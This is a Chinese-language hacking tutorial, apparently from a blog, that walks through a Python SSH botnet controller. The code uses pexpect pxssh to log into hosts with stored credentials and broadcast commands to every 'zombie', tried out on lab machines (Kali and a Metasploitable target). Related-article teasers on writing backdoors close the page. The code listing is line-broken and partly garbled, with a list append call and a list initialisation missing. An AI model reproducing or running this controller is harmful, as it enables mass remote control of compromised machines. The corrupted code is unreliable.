攻擊者在達成惡意目的時,通常會使用被黑掉的計算機群。我們稱之為殭屍網路」,因為被黑掉的電腦會像殭屍一樣執行指令。
為構建殭屍網路,我們必須引入一乙個新的概念一類。 類的概念是面向程式設計物件和程式設計模型的基礎。在這一程式設計模型中,我們會把各個物件和它們所關聯的方法一起例項化。 在我們的殭屍網路中,每個單獨的殭屍或client(客戶端)都需要有能連上某台肉機,並把命令傳送給肉機的能力。
# coding=utf-8
import optparse
from pexpect import pxssh
class client
(object):
def __init__
(self, host, user, password)
: self.host = host
self.user = user
self.password = password
self.session = self.
connect()
def connect
(self)
: try:
s = pxssh.
pxssh()
s.login
(self.host, self.user, self.password)
return s
except exception, e:
print e
print '[-] error connecting'
def send_command
(self, cmd)
: self.session.
sendline
(cmd)
self.session.
prompt()
return self.session.before
def botnetcommand
(command)
:for client in botnet:
output = client.
send_command
(command)
print '[*] output from: '
+ client.host
print '[+] command is: '
+ output +
'\n'
def addclient
(host, user, password)
: client =
client
(host, user, password)
botnet.
(client)
botnet =
addclient
('192.168.1.16'
,'msfadmin'
,'msfadmin'
)addclient
('192.168.1.14'
,'root'
,'1'
)botnetcommand
('uname -a'
)botnetcommand
('whoami'
)
我們來看一下生成client()類物件的**。為了構造client 物件,需要主機名、使用者名稱,以及密碼或金鑰。同時,這個類還要包含維持與肉機連線所需的方法—— connect()、send_command()和alive()。請注意,當我們引用屬於類中的變數時,是以self後接變數名的方式表示它的。為了構建殭屍網路,我們要建立乙個名為botnet 的全域性陣列,其中記錄了單個client物件。接下來,我們要編寫乙個名為addclient()的方法, 它的輸入是主機名、使用者和密碼,並以此例項化乙個client物件,並把它新增到botnet 陣列裡。接下來的botnetcommand()函式只要乙個引數——要發布的命令。這個函式遍歷整個陣列,把命令傳送到botnet 陣列中的每個chient上。
kalilinux本機和msf靶機
Python黑客攻防,構建SSH殭屍網路!
攻擊者在達成惡意目的時,通常會使用被黑掉的計算機群。我們稱之為殭屍網路 因為被黑掉的電腦會像殭屍一樣執行指令。為構建殭屍網路,我們必須引入一乙個新的概念一類。類的概念是面向程式設計物件和程式設計模型的基礎。在這一程式設計模型中,我們會把各個物件和它們所關聯的方法一起例項化。在我們的殭屍網路中,每個單...
Python黑客攻防(九)編寫後門程式
本篇文章講解如何編寫後門程式,並實踐測試執行,通過後門程式查詢檔案。防火牆用於攔截使用者從外部訪問伺服器。訪問伺服器的telnet ftp等服務只限允許的使用者使用。防火牆並不會阻斷使用者從內部向外部的訪問路徑。雖然很難從外部侵入防火牆,但一旦成功,黑客就能輕鬆竊取敏感資訊。後門技術用於繞過防火牆等...
黑客常用的攻防命令
ping命令 使用ping命令可以測試目標主機的主機名 ip位址資訊,還可以驗證本地主機與遠端主機之間的連線。ping命令是基於tcp ip協議連線的,只有在安裝tcp ip協議後才能使用這命令 ping 命令的格式為 ping t ping指定的主機,直到停止。若要檢視統計資訊並繼續操作,則按co...